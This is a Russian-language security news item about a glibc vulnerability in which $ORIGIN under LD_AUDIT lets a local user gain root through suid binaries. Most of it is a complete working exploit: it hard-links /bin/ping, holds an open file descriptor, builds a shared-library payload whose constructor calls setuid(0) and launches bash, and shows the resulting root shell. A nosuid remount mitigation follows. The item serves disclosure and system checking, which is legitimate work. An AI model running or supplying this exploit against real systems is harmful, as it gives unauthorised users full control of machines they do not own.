В системной библиотеке GNU C Library (glibc), являющейся основой большинства Linux-дистрибутивов, обнаружена критическая уязвимость, позволяющая любому локальному пользователю получить привилегии суперпользователя. Проблема вызвана игнорированием в Glibc требования спецификации ELF по запрещению использования текущего пути к исполняемому файлу ($ORIGIN) в процессе динамического связывания программ с идентификатором смены владельца или группы (suid/sgid). Проблема проявляется в конфигурациях, в которых пользователь имеет возможность создавать жесткие ссылки в файловой системе, допускающей наличие suid-файлов.

Уязвимость протестирована в Fedora 13 и RHEL 5 / CentOS 5, другие дистрибутивы судя по всему также подвержены проблеме. Исправления пока недоступны, статус выхода обновлений в различных Linux-дистрибутивах можно наблюдать на следующих страницах: Slackware, Gentoo, Mandriva, openSUSE, CentOS, Fedora, RHEL, Debian, Ubuntu.

Проблема была известна и ранее, но разработчики Glibc считали, что эксплуатировать ее невозможно. Используя режим аудита связывания программ (LD_AUDIT) в ld.so, вкупе с подменой $ORIGIN через создание жесткой ссылки и запуском suid-программы через файловый дескриптор, удалось разработать практический метод атаки. Проверить свою систему на наличие уязвимости можно следующим способом:

Создаем произвольную директорию:

   $ mkdir /tmp/exploit

Привязываем suid-программу жесткой ссылкой в созданную директорию (при выполнении будет изменен $ORIGIN):

   $ ln /bin/ping /tmp/exploit/target

Открываем для исполняемого файла файловый дескриптор:

   $ exec 3< /tmp/exploit/target

Данный файловый дескриптор должен быть виден в пространстве /proc

   $ ls -l /proc/$$/fd/3
   lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*

Удаляем ранее созданную директорию

   $ rm -rf /tmp/exploit/

В /proc дескриптор остался, но теперь помечен как удаленный:

   $ ls -l /proc/$$/fd/3
   lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)

Заменяем директорию на специально созданный эксплоит (имя директории будет открыто через dlopen):

   $ cat > payload.c
   void __attribute__((constructor)) init()
   {
       setuid(0);
       system("/bin/bash");
   }
   ^D

   $ gcc -w -fPIC -shared -o /tmp/exploit payload.c
   $ ls -l /tmp/exploit
   -rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*

Инициируем динамическое связывание и загрузку $ORIGIN через LD_AUDIT и запуск программы по файловому дескриптору в /proc
   
   $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
   sh-4.1# whoami
   root
   sh-4.1# id
   uid=0(root) gid=500(taviso)

В качестве временной меры защиты рекомендуются перемонтировать все доступные сторонним пользователям на запись директории в режиме nosuid (актуально только если suid-файл и доступная на запись директория присутствуют в одном дисковом разделе, например, /tmp или /home являются частью корневого раздела, так как жесткая ссылка не может быть установлена из одного дискового раздела в другой) :

   # mount -o bind /tmp /tmp
   # mount -o remount,bind,nosuid /tmp /tmp

Дополнение: Разработчики из компании Red Hat выпустили патч, устраняющий проблему в Glibc.